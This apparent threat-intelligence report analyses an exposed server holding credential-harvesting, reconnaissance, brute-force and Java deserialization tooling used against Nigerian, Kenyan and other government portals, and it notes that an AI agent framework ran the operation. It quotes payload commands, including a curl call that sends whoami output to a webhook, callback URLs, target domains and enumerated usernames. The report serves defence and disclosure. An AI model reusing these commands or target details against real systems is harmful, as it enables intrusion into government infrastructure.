Nigerian and Kenyan Government Portals Targeted by Suspected Chinese-Speaking Operator in Multi-Stage Credential Harvesting Campaign

On June 6, 2026, Hunt.io Attack Capture↗ (opens in a new tab) identified an open directory at 34.146.124[.]239:8888, hosted on Google Cloud in Tokyo.

The server contained custom Python and shell scripts, compiled credential lists, WordPress and XML-RPC brute-force tools, browser session cookies from Nigerian and Kenyan government portals, and a collection of Java deserialization payloads built with ysoserial.

A secondary reconnaissance track scanned Iraqi, Argentine, Brazilian, and Kyrgyzstani government infrastructure using the same toolset.

Let’s take a look at what I uncovered during the investigation.

Key Findings

• Hunt.io Attack Capture found an open directory containing a complete credential-harvesting workflow targeting Nigerian and Kenyan government institutions.

• Comments in the source code mark the Nigerian targets as 最高价值 ("highest value").

• 17 Python scripts were used to query DeHashed for leaked credentials tied to government domains and employees at FAAN, Kenya's Parliament, and NACADA. The scripts also used the Camoufox browser to prevent detection.

• The compiled credentials were then used to brute-force WordPress login pages and /xmlrpc.php endpoints belonging to Nigeria's Ministry of Defence, State House, Ministry of Justice, FAAN, and Police Affairs.

• Session cookies show that login attempts reached FAAN, NCDC, NDIC, NIMC, the Supreme Court, and JAMB's intranet.

• The server also contained 25 Java deserialization payloads, covering C3P0, ROME, BeanShell, JRMP, URLDNS, Spring, and CommonsCollections, along with the full ysoserial.jar. A callback listener was running on port 8080 on the same host.

• A leaked shell environment file shows the operator using the Hermes AI agent framework over Telegram. It also exposed a Linux username, an out-of-band interaction domain, and four Cloudflare Worker relay endpoints used to proxy API requests.

• Additional reconnaissance and brute-force activity targeted government portals in Iraq, Argentina, Brazil, and Kyrgyzstan, using the same wordlists and scanning scripts.

The Open Directory

Hunt.io identified↗ (opens in a new tab) an open directory on June 6, 2026, at 34.146.124[.]239:8888. The directory contained 422 files and was associated with a single subdirectory, with the captured data totaling approximately 268 MB.

Hunt.io shows 34.146.124[.]239↗ (opens in a new tab) under Google LLC (AS396982), geolocated to Tokyo, Japan, with an open directory warning recorded on June 6, 2026. The host exposed SSH (22) running OpenSSH 10.0 and HTTP (443), with no active malware signals detected.

Let's explore interesting files one by one.

Breach Data Collection via DeHashed

The largest cluster of scripts in the directory automates queries against DeHashed↗ (opens in a new tab), a paid breach-data search service, using the account 999@hho.us.kg.

All 17 scripts use Camoufox browser (an anti-fingerprinting Firefox fork built for evading bot detection), log in, submit a search query, and scrape the rendered results page with injected JavaScript.

The scripts identify personnel and organizations associated with Nigerian and Kenyan government-related infrastructure.

The table below consolidates every domain, subdomain, and named-individual email referenced across the 17 DeHashed automation scripts, showing which script(s) queried each target.

Note: The available evidence shows these entities were targeted in searches; it does not by itself establish that every listed organization or individual was compromised.

One Chinese comment (# Nigeria 最高价值, meaning “Nigeria — highest value.”) in dh_full_search.py highlights the operator's priorities for Nigerian government infrastructure.

The directory contains 58 PNG screenshots generated during the DeHashed searches, but these files are not indexed in Attack Capture.

Their filenames, however, correspond to queries executed by the Python scripts and provide evidence of the searches performed.

The screenshots themselves cannot be examined through the indexed dataset, but the wordlists recovered from the same host provide a separate, searchable trail of credentials and usernames that were subsequently compiled from this activity.

Credential Compilation

The directory contains nine wordlist files, each tied to a specific target, country, or department.

• The defence_pass.txt, defence_wordlist.txt, and defence_wordlist2.txt appear to be successive lists built around Nigeria’s Ministry of Defence.

  

• The pass.txt combines generic administrator passwords with Nigeria and FAAN-specific terms, while pass2.txt focuses on Kenya’s Parliament.

  

• The pass_police.txt targets Nigeria’s Police Affairs ministry, and toppass.txt brings together higher-confidence terms associated with Defence and FAAN.

• The weak_passwords.txt is associated with Argentina’s Pilar municipality, while karakol_pwds.txt targets the municipal government of Karakol, Kyrgyzstan.

I summarized the recovered wordlists by their apparent target and entry count below.

Note: Actual password values have been redacted from this table for safety.

Infrastructure Reconnaissance

The opendir contains several reconnaissance scripts covering government infrastructure in Nigeria, Argentina, Brazil, Iraq, and Kyrgyzstan. The artifacts range from domain and DNS checks to web server, CMS, login path, and vulnerability checks, with the level of detail varying by country.

Nigeria

The ng_quick_recon.py covers 198 federal, state, and local-government domains, including Lagos-area councils. The script checks DNS resolution, filters hosts identified as Cloudflare-fronted, records exposed server and technology headers, and checks common login paths.

The scan found 68 reachable HTTP services (ng_recon.json).

The attacker then used ng_live_scan.sh which covers 44 Nigerian government domains and checks their HTTPS availability before testing common login paths.

Argentina

The opendir contains four scripts that use 97 municipal and provincial government URLs, moving from basic reachability checks to CMS and WordPress identification.

The scan (unprotected_wp.txt) identified three unprotected WordPress hosts: avellaneda.gov.ar, pilar.gov.ar, and tresdefebrero.gov.ar.

A WPScan run against Pilar's municipal site (pilar_users.txt) fingerprinted WordPress 6.3.8, found XML-RPC enabled, located an exposed debug log at /wp-content/debug.log, and enumerated three usernames via the public WP JSON API: bruser99, hmontefinale, municipiopilar.

No credentials or open REST endpoints were confirmed.

Brazil and Iraq

cf_login_scan.py targets six municipal government portals in Amazonas and Pará: amatura.am.gov.br, envira.am.gov.br, nhamunda.am.gov.br, tabatinga.am.gov.br, tefe.am.gov.br, and altamira.pa.gov.br. It uses Camoufox to check page content for login-related terms, identify forms and input fields, and test common paths such as /login, /admin, /wp-login.php, /painel, and /webmail.

iraq_targets.txt lists more than 30 domains of Iraqi provincial and municipal governments. A connectivity pass (iraq_live.txt) confirmed nine as reachable, including Basra, Karbala, Ninawa, Babylon, and Baghdad's municipal portal.

The corresponding vulnerability scan output files, iraq_cves.txt and iraq_vulns.txt, are both empty.

WordPress and XML-RPC Brute Force

The opendir contains 10 scripts used to test WordPress, XML-RPC, webmail, cPanel, and other login pages.

The results show a clear 403 authentication failure, confirming that the request reached the WordPress authentication layer but the credentials were rejected. The scan also identified a publicly accessible wp-config.php.bkp file and an outdated js_composer plugin.

Session & Cookie Evidence

Almost 30 cookie files were recovered, and their contents provide a better picture of activity. I have summarized the sessions and filenames for better understanding:

The surviving evidence is much stronger for login attempts and session creation than for confirmed account compromise.

Java Deserialization Tooling

The directory contains a full copy of ysoserial.jar (57 MB) alongside 25 pre-generated binary and hex-encoded deserialization payloads. Port 8080 on the same host was set up as a listener for these payloads.

• The C3P0 JNDI gadget chain payload (c3p0_hex.txt), saved as hex text, decodes to reveal its callback target directly at hxxp://34.146.124[.]239:8080/Evil.

• A JRMP (Java RMI) gadget chain (jrmp.bin) encodes the host as an RMI registry target, and two smaller JNDI reference payloads (p.bin, p2.bin) point to the classFactoryLocation: hxxp://34.146.124[.]239:8080/.

• Three other gadget chains such as CommonsCollections BeanUtils (cb1.bin), Spring (spr1.bin), and one ROME variant (rome.bin) show the embedded URL hxxp://34.146.124[.]239:8080/cmd.

• The rome_httpbin.bin embeds a command that actually runs on Linux curl http://httpbin.org/ip. httpbin.org is a public, well-known testing service that echoes back whatever IP address made the request.

• The rome_webhook.bin uses webhook.site with the command curl -X POST hxxps://webhook[.]site/3614292c-4ae5-43a3-8136-55e729850a99/?cmd=$(whoami). The webhook.site generates a unique, private URL that anyone can check later for incoming requests.

• A fifth ROME variant, rome_8888.bin, uses the same exec() structure but points at the operator's own open-directory port instead of the deserialization listener hxxp://34.146.124[.]239:8888/Exploit.

• Two URLDNS gadget chains (urldns.bin, urldns_test.bin) carry a callback that ties them directly to the Argentine reconnaissance track hxxp://ushuaia-1780740753.34.146.124[.]239:8080/test.

Operator Profile and Assessment

A shell snapshot, hermes-snap-2c4bfd019aba.sh, was left in the exposed directory. It identifies the Linux account as wonghunghingp and shows the operation was controlled through a Telegram direct message linked to the user and chat ID 5613858439. It also records oob.bzd.us.kg for out-of-band exploitation checks, and three Cloudflare Worker relays for outbound requests. The session ID 20260606_093652_e9009a dates the capture to June 6, 2026, at 09:36 UTC, about an hour before the directory was first crawled.

Hermes is an AI-assisted browser agent framework. The configuration shows it running with up to 90 iterations per task and a 30-minute timeout per run, connected to a Telegram bot.

Four Cloudflare Worker relay URLs are configured to proxy outbound API calls, demonstrated directly in worker_test.sh.

• hxxps://h2.org-aae[.]workers[.]dev/
• hxxps://h1.net-1f3[.]workers[.]dev/
• hxxps://sweet-pine-13fd[.]cto-7ba.workers[.]dev/
• hxxps://blue-flower-b85b[.]blogerxgang[.]workers[.]dev/

Chinese-Language Evidence

The environment snapshot contains HERMES_SESSION_USER_NAME and HERMES_SESSION_CHAT_NAME, both set to 匿名域名 Usdt购买域名找我, meaning "anonymous domains, contact me to buy domains with USDT."

The open directory contains 30 Python and shell scripts with Chinese text used for planning notes and live console messages.

The wording is informal and consistent across reconnaissance, credential testing, and proxy scripts. The evidence supports describing the operator as a Chinese speaker.

Mitigations

• Disable XML-RPC (/xmlrpc.php) on WordPress installations that do not require it, or restrict it to trusted source IPs.

• Restrict or authenticate the WordPress REST API's user-listing endpoint (/wp-json/wp/v2/users).

• Enforce multi-factor authentication on WordPress, cPanel, Drupal, and webmail administrator accounts.

• Patch and monitor Java applications for deserialization exposure where C3P0, ROME, or Apache Commons Collections libraries are present on the classpath.

Conclusion

The exposed directory provides a detailed view of an operation focused on government infrastructure across multiple countries. The recovered tooling shows a workflow that moved from breach-data searches and target profiling to credential testing, reconnaissance, and exploitation attempts. Nigerian and Kenyan government organizations received the most attention, while separate tooling targeted infrastructure in Argentina, Brazil, Iraq, and Kyrgyzstan.

The presence of session artifacts indicates that login activity reached several government portals, although the available evidence does not confirm widespread account compromise. The Java deserialization payloads and callback infrastructure also show capability beyond simple credential attacks.

Chinese-language comments and console output provide useful operator context, but they are insufficient for attributing to a specific actor or group.

MITRE ATT&CK Mapping

Indicators of Compromise

Network infrastructure

Operator identifiers